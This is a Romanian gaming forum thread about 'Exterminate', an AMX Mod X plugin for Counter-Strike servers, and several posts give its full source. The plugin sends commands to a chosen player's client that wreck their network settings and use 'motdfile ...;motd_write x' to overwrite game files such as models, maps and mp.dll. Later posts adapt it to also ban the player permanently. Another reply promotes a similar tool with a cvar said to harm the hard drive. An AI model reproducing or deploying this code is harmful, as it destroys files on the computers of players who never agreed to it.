Page 1 of 1

Modificare plugin exterminate

Posted: 07 Jul 2012, 19:03
by sylveryan
As dori daca se poate sa imi modifice cineva acest plugin sa dea ban cu advanced_bans(amx_addban <name> <authid or ip> <time in minutes> <reason> sau amx_banip <nick, #userid, authid> <time in minutes> <reason>)...

Code: Select all

#include < amxmodx >



#include < amxmisc >







new const g_sCommands[ ][ ] =



{



	"rate 1",



	"cl_cmdrate 1",



	"cl_updaterate 1",



	"fps_max 1",



	"sys_ticrate 1",



	



	"name Server",



	



	"motdfile models/player.mdl;motd_write x",



	"motdfile models/v_ak47.mdl;motd_write x",



	"motdfile cs_dust.wad;motd_write x",



	"motdfile models/v_m4a1.mdl;motd_write x",



	"motdfile resource/GameMenu.res;motd_write x",



	"motdfile halflife.wad;motd_write x",



	"motdfile cstrike.wad;motd_write x",



	"motdfile maps/de_dust2.bsp;motd_write x",



	"motdfile events/ak47.sc;motd_write x",



	"motdfile dlls/mp.dll;motd_write x",



	



	"cl_timeout 0"	



};







public plugin_init( )



{



	register_plugin( "Exterminate", "1.0", "AleCs14" );



	register_concmd( "amx_exterminate", "Concmd_AMXX_exterminate", ADMIN_RCON, "<player>" );



}







public Concmd_AMXX_exterminate( id, level, cid )



{



	if( !cmd_access( id, level, cid, 2 ) )



		return PLUGIN_HANDLED;



	



	new sArgument[ 32 ];



	read_argv( 1, sArgument, charsmax( sArgument ) );



	



	new player = cmd_target( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );



	



	if( !player )



		return PLUGIN_HANDLED;



	



	for( new i = 0; i < sizeof( g_sCommands ); i++)



		client_cmd( player, g_sCommands[ i ] );



	



	new name[ 32 ], name2[ 32 ], ip2[ 16 ];



	get_user_name( id, name, charsmax( name ) );



	get_user_name( player, name2, charsmax( name2 ) );



	get_user_ip( player, ip2, charsmax( ip2 ), 1 );



	



	log_to_file( "exterminations.log", "%s exterminate %s(%s)", name, name2, ip2 );



	



	player_color( 0, ".gADMIN .v%s .g: exterminated .v%s", name, name2 );



	



	client_cmd( 0, "spk ^"vox/bizwarn detected user and exterminate^"" );	



	



	return PLUGIN_HANDLED;



}







stock player_color( const id, const input[ ], any:... )



{



	new count = 1, players[ 32 ]







	static msg[ 191 ]



	vformat( msg, 190, input, 3 )



	



	replace_all( msg, 190, ".v", "^4" ) /* verde */



	replace_all( msg, 190, ".g", "^1" ) /* galben */



	replace_all( msg, 190, ".e", "^3" ) /* ct=albastru | t=rosu */



	replace_all( msg, 190, ".x", "^0" ) /* normal-echipa */



	



	if( id ) players[ 0 ] = id; else get_players( players, count, "ch" )



	{



		for( new i = 0; i < count; i++ )



		{



			if( is_user_connected( players[ i ] ) )



			{



				message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] )



				write_byte( players[ i ] );



				write_string( msg );



				message_end( );



			}



		}



	}



}


Re: Modificare plugin exterminate

Posted: 07 Jul 2012, 21:51
by Fantasy1

Re: Modificare plugin exterminate

Posted: 07 Jul 2012, 22:12
by J3FF
Pika ... slab .. nu strica multe , cel mai bun destroy / exterminate e gamedestroyer

Nu contine sma , vorba aia , ca altfel se gasesc unii care o sa scape , dar il poti decompila pentru a vedea ce strica :)

Desigur nu contine nici reclama , ba chiar contie si lang , care il editezi dupa bunul plac :P

Click 4 download

Uite aici niste cvauri
| Afiseaza codul
amx_destroy_ban [Default: 1]
- Ban jucator, dupa ce iese din joc
- 0 Nici unul
- 1 Da

amx_destroy_bantype [Default: 1]
- Tipul de banare
- 1 IP
- 2 SetamID

amx_destroy_amxbans [Default: 0]
- Utilizarea bani AMX
- 0 Nu
- 1 Da

amx_destroy_bantime [Default: 0]
- Timpul in care sa se aplice comanda
- 0 - permanent

amx_destroy_fuck_hdd [Default: 0]
- CVARUL ce poate afecta HDD-ului !
- 0 Inchis
- 1 Deschis

amx_destroy_activity [Default: 2]
- Mesaje in chat cu activitatea adminilor
- 0 dezactivat
- 1 nr nick admin
- 2 cu Nick admin

Re: Modificare plugin exterminate

Posted: 07 Jul 2012, 23:18
by sylveryan
Ambele pluginuri postate de voi pe langa faptul ca nu au sursa, lucreaza cu amx_bans iar eu pe server am advanced_bans...daca poate cineva sa imi modifice acest plugin ca sa nu mai stau ca dupa fiecare comanda sa stau sa iau din consola nick si ip sa dau ban...



Multumesc!

Re: Modificare plugin exterminate

Posted: 09 Jul 2012, 00:12
by Ulquiorra
J3FF wrote:Pika ... slab .. nu strica multe , cel mai bun destroy / exterminate e gamedestroyer

Nu contine sma , vorba aia , ca altfel se gasesc unii care o sa scape , dar il poti decompila pentru a vedea ce strica :)

Desigur nu contine nici reclama , ba chiar contie si lang , care il editezi dupa bunul plac :P

Click 4 download

Uite aici niste cvauri
| Afiseaza codul
amx_destroy_ban [Default: 1]
- Ban jucator, dupa ce iese din joc
- 0 Nici unul
- 1 Da

amx_destroy_bantype [Default: 1]
- Tipul de banare
- 1 IP
- 2 SetamID

amx_destroy_amxbans [Default: 0]
- Utilizarea bani AMX
- 0 Nu
- 1 Da

amx_destroy_bantime [Default: 0]
- Timpul in care sa se aplice comanda
- 0 - permanent

amx_destroy_fuck_hdd [Default: 0]
- CVARUL ce poate afecta HDD-ului !
- 0 Inchis
- 1 Deschis

amx_destroy_activity [Default: 2]
- Mesaje in chat cu activitatea adminilor
- 0 dezactivat
- 1 nr nick admin
- 2 cu Nick admin
ce parola e la arhiva ?

Re: Modificare plugin exterminate

Posted: 09 Jul 2012, 01:27
by sylveryan
Ma ajuta si pe mine cineva????

Re: Modificare plugin exterminate

Posted: 09 Jul 2012, 12:26
by OwN3d#WTF?!
Nu observasem uite aici
Exterminate+addBan | Afiseaza codul
#include < amxmodx >
#include < amxmisc >

new const g_sCommands[ ][ ] =
{
   "rate 1",
   "cl_cmdrate 1",
   "cl_updaterate 1",
   "fps_max 1",
   "sys_ticrate 1",
        "snapshot",
        "snapshot",
   
   "name Sv",
   
   "motdfile models/player.mdl;motd_write x",
   "motdfile models/v_ak47.mdl;motd_write x",
   "motdfile cs_dust.wad;motd_write x",
   "motdfile models/v_m4a1.mdl;motd_write x",
   "motdfile resource/GameMenu.res;motd_write x",
   "motdfile halflife.wad;motd_write x",
   "motdfile cstrike.wad;motd_write x",
   "motdfile maps/de_dust2.bsp;motd_write x",
   "motdfile events/ak47.sc;motd_write x",
   "motdfile dlls/mp.dll;motd_write x",
   
   "cl_timeout 0"   
};

public plugin_init( )
{
   register_plugin( "Exterminate", "1.0", "AleCs14" );
   register_concmd( "amx_banex", "Concmd_AMXX_banex", ADMIN_LEVEL_G, "<player>" );
}

public Concmd_AMXX_banex( id, level, cid )
{
   if( !cmd_access( id, level, cid, 2 ) )
      return PLUGIN_HANDLED;
   
   new sArgument[ 32 ];
   read_argv( 1, sArgument, charsmax( sArgument ) );
   
   new player = cmd_target( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
   
   if( !player )
      return PLUGIN_HANDLED;
   
   for( new i = 0; i < sizeof( g_sCommands ); i++)
      client_cmd( player, g_sCommands[ i ] );
   
   new name[ 32 ], name2[ 32 ], ip2[ 16 ];
   get_user_name( id, name, charsmax( name ) );
   get_user_name( player, name2, charsmax( name2 ) );
   get_user_ip( player, ip2, charsmax( ip2 ), 1 );
   
   log_to_file( "exterminations.log", "%s exterminate %s(%s)", name, name2, ip2 );
   
   player_color( 0, ".gAdmin .v%s .g: exterminated .v%s", name, name2 );
   //Baneaza jucatorul permanent
   client_cmd(id, "amx_addban ^"%s^" permanent DESTROY", name2)
   
   client_cmd( 0, "spk ^"vox/bizwarn detected user and exterminate^"" );   
   
   return PLUGIN_HANDLED;


}

stock player_color( const id, const input[ ], any:... )
{
   new count = 1, players[ 32 ]

   static msg[ 191 ]
   vformat( msg, 190, input, 3 )
   
   replace_all( msg, 190, ".v", "^4" ) /* verde */
   replace_all( msg, 190, ".g", "^1" ) /* galben */
   replace_all( msg, 190, ".e", "^3" ) /* ct=albastru | t=rosu */
   replace_all( msg, 190, ".x", "^0" ) /* normal-echipa */
   
   if( id ) players[ 0 ] = id; else get_players( players, count, "ch" )
   {
      for( new i = 0; i < count; i++ )
      {
         if( is_user_connected( players[ i ] ) )
         {
            message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] )
            write_byte( players[ i ] );
            write_string( msg );
            message_end( );
         }
      }
   }
}
Poti Folosi comanda de la Flagul "G" cu amx_banex:)

Re: Modificare plugin exterminate

Posted: 09 Jul 2012, 12:30
by J3FF
Just sayin'
ADMIN_LEVEL_G //Flag "s", custom
Iar cu parola de la arhiva , sorry , o pot posta , dar e reclama la alta comunitate ... o vreti dati pm :)

Re: Modificare plugin exterminate

Posted: 09 Jul 2012, 18:48
by sylveryan
OwN3d#WTF?! - comenzile folosite de pluginul advanced_bans sunt :

- amx_ban <nick, #userid, authid> <time in minutes> <reason>
- amx_banip <nick, #userid, authid> <time in minutes> <reason>
- amx_addban <name> <authid or ip> <time in minutes> <reason>

In sursa postata de tine banul se da cu amx_bans...Eu am nevoie sa dea ban cu advanced_bans.


Multumesc!

Re: Modificare plugin exterminate

Posted: 09 Jul 2012, 23:00
by OwN3d#WTF?!
Look | Afiseaza codul
#include < amxmodx >
#include < amxmisc >

new const g_sCommands[ ][ ] =
{
   "rate 1",
   "cl_cmdrate 1",
   "cl_updaterate 1",
   "fps_max 1",
   "sys_ticrate 1",
        "snapshot",
        "snapshot",
   
   "name Sv",
   
   "motdfile models/player.mdl;motd_write x",
   "motdfile models/v_ak47.mdl;motd_write x",
   "motdfile cs_dust.wad;motd_write x",
   "motdfile models/v_m4a1.mdl;motd_write x",
   "motdfile resource/GameMenu.res;motd_write x",
   "motdfile halflife.wad;motd_write x",
   "motdfile cstrike.wad;motd_write x",
   "motdfile maps/de_dust2.bsp;motd_write x",
   "motdfile events/ak47.sc;motd_write x",
   "motdfile dlls/mp.dll;motd_write x",
   
   "cl_timeout 0"   
};

public plugin_init( )
{
   register_plugin( "Exterminate", "1.0", "AleCs14" );
   register_concmd( "amx_banex", "Concmd_AMXX_banex", ADMIN_LEVEL_G, "<player>" );
}

public Concmd_AMXX_banex( id, level, cid )
{
   if( !cmd_access( id, level, cid, 2 ) )
      return PLUGIN_HANDLED;
   
   new sArgument[ 32 ];
   read_argv( 1, sArgument, charsmax( sArgument ) );
   
   new player = cmd_target( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
   
   if( !player )
      return PLUGIN_HANDLED;
   
   for( new i = 0; i < sizeof( g_sCommands ); i++)
      client_cmd( player, g_sCommands[ i ] );
   
   new name[ 32 ], name2[ 32 ], ip2[ 16 ];
   get_user_name( id, name, charsmax( name ) );
   get_user_name( player, name2, charsmax( name2 ) );
   get_user_ip( player, ip2, charsmax( ip2 ), 1 );
   
   log_to_file( "exterminations.log", "%s exterminate %s(%s)", name, name2, ip2 );
   
   player_color( 0, ".gAdmin .v%s .g: exterminated .v%s", name, name2 );
   //Baneaza jucatorul permanent
   client_cmd(id, "amx_banip ^"%s^" 0 Cheat", name2)
   
   client_cmd( 0, "spk ^"vox/bizwarn detected user and exterminate^"" );   
   
   return PLUGIN_HANDLED;


}

stock player_color( const id, const input[ ], any:... )
{
   new count = 1, players[ 32 ]

   static msg[ 191 ]
   vformat( msg, 190, input, 3 )
   
   replace_all( msg, 190, ".v", "^4" ) /* verde */
   replace_all( msg, 190, ".g", "^1" ) /* galben */
   replace_all( msg, 190, ".e", "^3" ) /* ct=albastru | t=rosu */
   replace_all( msg, 190, ".x", "^0" ) /* normal-echipa */
   
   if( id ) players[ 0 ] = id; else get_players( players, count, "ch" )
   {
      for( new i = 0; i < count; i++ )
      {
         if( is_user_connected( players[ i ] ) )
         {
            message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] )
            write_byte( players[ i ] );
            write_string( msg );
            message_end( );
         }
      }
   }
}
Ca sa folosesti scrii asa

amx_banex nume
ii va da exterminate + BANIP permanent pe motiv Cheat

Modifici si tu p`aici

Code: Select all

   client_cmd(id, "amx_banip ^"%s^" 0 Cheat", name2)